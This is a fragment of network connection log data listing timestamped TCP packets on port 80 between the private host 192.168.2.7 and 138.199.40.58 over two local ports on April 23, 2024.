Apr 23, 2024 08:39:58.706475973 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.706569910 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.706613064 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.706624985 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.706633091 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.706636906 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.706660986 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.706666946 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.706685066 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.706705093 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.706722021 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.706748009 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.706784964 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.706868887 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.706888914 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.706926107 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.706948042 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.707010984 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.707099915 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.707118034 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.707132101 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.707144022 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.707164049 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.707169056 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.707187891 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.707190990 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.707262039 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.707274914 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.707283020 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.707287073 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.707309961 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.707330942 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.707344055 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.707362890 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.707385063 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.707407951 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.707425117 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.707457066 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.707488060 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.707508087 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.707531929 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.707590103 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.707602978 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.707611084 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.707614899 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.707667112 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.707688093 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.707740068 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.707752943 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.707763910 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.707765102 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.707818985 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.707820892 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.707843065 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.707855940 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.707875013 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.707875013 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.707937956 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.707959890 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.708046913 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.708050013 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.708061934 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.708074093 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.708102942 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.708123922 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.708151102 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.708163977 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.708174944 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.708185911 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.708190918 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.708198071 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.708206892 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.708230019 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.708247900 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.708265066 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.708323956 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.708374023 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.708394051 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.708439112 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.708482027 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.708494902 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.708555937 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.708578110 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.708597898 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.708610058 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.708628893 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.708664894 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.708702087 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.708720922 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.708740950 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.708754063 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.708761930 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.708765030 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.708837032 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.708856106 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.708878040 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.708898067 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.708926916 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.709001064 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.709019899 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.709038019 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.709101915 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.709124088 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.709156990 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.709170103 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.709181070 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.709192991 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.709197998 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.709204912 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.709223986 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.709227085 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.709245920 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.709249020 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.709260941 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.709278107 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.709312916 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.709326982 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.709338903 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.709419966 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.709431887 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.709439993 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.709443092 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.709455967 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.709461927 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.709476948 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.709836960 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.709888935 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.709909916 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.710067987 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.710153103 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.710174084 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.710186958 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.710200071 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.710232019 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.710244894 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.710252047 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.710283995 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.710323095 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.710336924 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.710347891 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.710361004 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.710376024 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.710396051 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.710411072 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.710412979 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.710419893 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.710438013 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.710448980 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.710460901 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.710469961 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.710474968 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.710480928 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.710566044 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.710728884 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.710762024 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.710774899 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.710841894 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.710855007 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.710860014 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.710866928 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.710874081 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.710877895 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.710958004 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.710968971 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.710978031 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.710980892 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.710993052 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.710999012 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.711013079 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.711994886 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.712007999 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.712018967 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.712029934 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.712055922 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.712081909 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.712094069 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.712112904 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.712132931 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.712162971 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.712182999 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.712182999 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.712203026 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.712224960 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.712270975 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.712292910 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.712336063 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.712412119 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.712424994 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.712433100 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.712515116 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.712522030 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.712573051 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.712625980 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.712641954 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.712655067 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.712667942 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.712690115 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.712708950 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.712709904 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.712730885 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.712769032 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.712790966 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.712802887 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.712815046 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.712826014 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.712836027 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.712877035 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.712889910 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.712897062 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.712901115 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.712923050 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.712943077 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.713001966 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.713021994 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.713031054 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.713071108 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.713123083 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.713124990 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.713206053 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.713238955 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.713252068 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.713264942 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.713277102 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.713288069 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.713295937 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.713299036 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.713310957 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.713313103 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.713323116 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.713330030 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.713334084 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.713351011 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.713366985 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.713397980 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.713418961 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.713697910 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.713711023 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.713753939 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.713764906 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.713766098 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.713788986 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.713809013 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.713818073 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.713871002 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.713882923 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.713892937 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.713895082 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.713917971 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.713937998 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.713952065 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.713973999 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.713994026 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.714018106 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.714037895 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.714068890 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.714082956 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.714092970 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.714114904 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.714134932 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.714150906 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.714164019 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.714176893 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.714195967 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.714467049 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.714586973 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.714627981 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.714639902 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.714654922 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.714663029 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.714667082 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.714730024 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.714734077 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.714742899 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.714765072 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.714777946 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.714787960 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.714790106 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.714811087 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.714824915 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.714844942 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.714848995 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.714922905 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.714935064 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.714941978 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.714957952 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.714971066 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.714977980 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.715008974 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.715020895 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.715023041 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.715034008 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.715071917 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.715437889 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.715471983 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.715485096 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.715528965 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.715542078 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.715548992 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.715548992 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.715564013 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.715583086 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.715637922 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.715651035 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.715663910 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.715687037 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.715728998 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.715742111 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.715765953 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.715779066 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.715785027 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.715799093 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.715801954 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.715836048 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.715857983 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.715864897 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.715877056 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.715898037 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.715919971 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.715987921 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.716006041 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.716022968 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.716036081 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.716093063 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.716263056 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.716305017 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.716331005 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.716363907 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.716377020 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.716398954 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.716420889 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.716433048 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.716454029 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.716480017 CEST	80	49705	138.199.40.58	192.168.2.7
